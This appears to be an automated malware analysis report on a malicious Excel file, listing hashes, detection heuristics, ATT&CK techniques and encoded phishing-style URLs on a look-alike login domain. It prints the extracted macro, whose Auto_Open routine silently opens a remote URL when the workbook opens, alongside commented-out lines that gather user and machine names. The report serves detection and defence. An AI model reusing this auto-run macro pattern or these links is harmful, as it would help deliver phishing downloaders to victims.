Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8c19b7d6d58a8651…

MALICIOUS

Office (OOXML)

182.9 KB Created: 2000-11-15 22:33:24 UTC Authoring application: Microsoft Macintosh Excel 16.0300 First seen: 2021-06-20
MD5: c3f041e53e519b33679f996a8661dffa SHA-1: 35cc08f05ff5fed9a4cb3488ed5ad573046dcc10 SHA-256: 8c19b7d6d58a8651e74b95813a18ecf51107b63ed0eea0b86b9917b2d6e64f4e
178 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically an Auto_Open subroutine, which is designed to execute a shell command. This command is intended to open a URL, likely to download and execute a second-stage payload. The presence of the Auto_Open macro and the embedded URL strongly suggests a malicious downloader.

Heuristics 8

  • ClamAV: Xls.Downloader.Trojan-b333b3b333898c4c-b333b3b333898c4c-9950284-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Trojan-b333b3b333898c4c-b333b3b333898c4c-9950284-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module1"
Sub Auto_Open()
  • Remote image (web beacon / tracking pixel) medium OOXML_IMAGE_BEACON
    Document references an external image URL — loads automatically on open, revealing IP address and timestamp to the server (used for phishing tracking and NTLM hash theft on corporate networks)
  • External relationship medium OOXML_EXTERNAL_REL
    External target in xl/drawings/_rels/drawing1.xml.rels: https://login.gogie.com.000000000001.phish.farm/XV0VkMFdHZDNXRTVzVmxKV1EyMUlTM0V3UW1OSmRtRldaRVJDVVVGRFlWQnJPRGgxZVRWbFJ
  • External hyperlinks (1) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 1 external hyperlink — clickable URLs are stored as external relationships. First target: https://login.gogie.com.000000000001.phish.farm/XVjNCcldVTnlVM1p3ZGs0MlFYVjZTbVp6U21wV2NWZFVTWGh2V0VwaWN6bG1iVU5CYXpSRVQyRTJORmRyWjJkYVYzVlBUM2hxZHk5MWFtdHNlblJ
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://login.gogie.com.000000000001.phish.farm/XVW1KbVVtZElPRGQzYkVGaVRYSnVUVXBMVUhSYVkwbFhZbXd4ZDFFMGJuSnBSbFJPVURGeVpTdHJia0ZGVW1KS1NFNVJMemxEU1ZsaVJtRjRhRkJWU1VWME1qbFhkRkpuUWpOaWF6VklRVGs1Y1djNFZIQnBkaloyU25KMlF6bE5ObHB3UmpCdlRrMVRNMGRqVFdVNFVVbFFjbkJ1YVhkaFlrSlNkR1JVTlZWUVdpdFhkV0l2V0hkQ1JqVnFTM1JyU2pkd1pVaG9LMjVDY1VwTlNpOUpiRzh3VjFWc01tMU5jVFpKUVUxSVQySjFOMGhuVFhVMFlrRm5ZbXhvWjNwcmRXUnFkMU42Y1hseFJuTjBPSFZXTkRSMFdHaENkejA5TFMwclJFVXdZMkpNUjNST1RXd3JaMlUzZG5sTGRFOW5QVDA9LS0wMmYwYjAzZmFhZmNmNjNjOWQ0OWU4MGYxMGYzOWNlNmI2ODZkYjhk?cid=69780612 In document text (OOXML body / shared strings)
    • https://login.gogie.com.000000000001.phish.farm/XV0VkMFdHZDNXRTVzVmxKV1EyMUlTM0V3UW1OSmRtRldaRVJDVVVGRFlWQnJPRGgxZVRWbFJGZGFLMlo0UVhKMlNqRnBSMDVhYnpac2JFcG5kbFZsVjI1alFVODFlRFExV0hCa01GRlZZMHMzU1VSR2VVVldWbmc1VEVWWmVtOWpiRlU0T0UxM09EaHpOemc5TFMxaE1sTlhNbWhrY1hWUmRHTmxNREJoZUc4MVJucFJQVDA9LS04NmQ2NTYIn document text (OOXML body / shared strings)
    • https://login.gogie.com.000000000001.phish.farm/XVjNCcldVTnlVM1p3ZGs0MlFYVjZTbVp6U21wV2NWZFVTWGh2V0VwaWN6bG1iVU5CYXpSRVQyRTJORmRyWjJkYVYzVlBUM2hxZHk5MWFtdHNlblJqVmtOWFIwRTBUVWwyWkdkTVJ6SnNUM3BVWmpKaEwzcG1aa0ZvWVZBck5UUkJTSFZ1UzFOSllucDNVRUZyZFVFMWNuRkhNMjVvVkVaUk5YZDVSMjVCUjIweVZVczFOMGxCTldJdmRUQlpaVE5WYjFRMGRWTTJjR0ZRWld4TGVIcFBiRkl2U1U0eGFucEZWRzQxUzFsdVlUTXphRGRJUVN0clFsTk5kRWxhUTJjMWEzaEVVWHBOTW1ScE1HNVFia1JxYnpWWFZ6ZGFRVDA5TFMxQkwyeHpkMGd5UVVSdmEwMVVhRmN6VEU5NVQwUm5QVDA9LS0zODBiMzNhMGVhZTI4ZDBmMjg3ZTYzMDE4ODZjMmFiYWY5MjRhZjQx?cid=69780612Document hyperlink
    • https://login.gogie.com.000000000001.phish.farm/XVjNCcldVTnlVM1p3ZGs0MlFYVjZTbVp6U21wV2NWZFVTWGh2V0VwaWN6bG1iVU5CYXpSRVQyRTJORmRyWjJkYVYzVlBUM2hxZHk5MWFtdHNlblJDocument hyperlink
    • https://login.gogie.com.000000000001.phish.farm/XVjNCcldVTnlVM1p3ZGs0MlFYVjZTbVp6U21wV2NWZFVTWGh2V0VwaWN6bG1iVU5CYXpSRVQyRTJORmRyWjJkYVYzVlBUM2hxZHk5MWFtdHNlblJqVmtOWFIwRTBUVWwyWkdkTVJ6SnNUM3BVWmpKaEwDocument hyperlink
    • https://login.gogie.com.000000000001.phish.farm/XV0VkMFdHZDNXRTVzVmxKV1EyMUlTM0V3UW1OSmRtRldaRVJDVVVGRFlWQnJPRGgxZVRWbFJOOXML external relationship
    • https://login.gogie.com.000000000001.phish.farm/XV0VkMFdHZDNXRTVzVmxKV1EyMUlTM0V3UW1OSmRtRldaRVJDVVVGRFlWQnJPRGgxZVRWbFJGZGFLMlo0UVhKMlNqRnBSMDVhYnpac2JFcG5kbFZsVjI1alFVODFlRFExV0hCa01GRlZZMHMzU1VSR2VOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1082 bytes
SHA-256: 8f1a950bd0c22c76f1189463789e2c40fb81bfffebc85f68a6f5f9515a9541a3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Functions"

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub Auto_Open()

    'MsgBox "Username: " & GetMachineData("username")
    'MsgBox "User Full Name: " & GetMachineData("fullname")
    'MsgBox "Machine Name: " & GetMachineData("machine")
    'MsgBox "Running on Mac? " & RunningOnMac
    'MsgBox "URL Open Silent: " & RunSilent
    
    
    If RunSilent Then
        Dim UStatus As Long
        OpenURLSilent (GetURL)
    Else
        OpenURL (GetURL)
    End If
    

End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 35840 bytes
SHA-256: 10af37d131d271af6a5b49b129f57859a71c68f971a6157da08ccd1d519d009c

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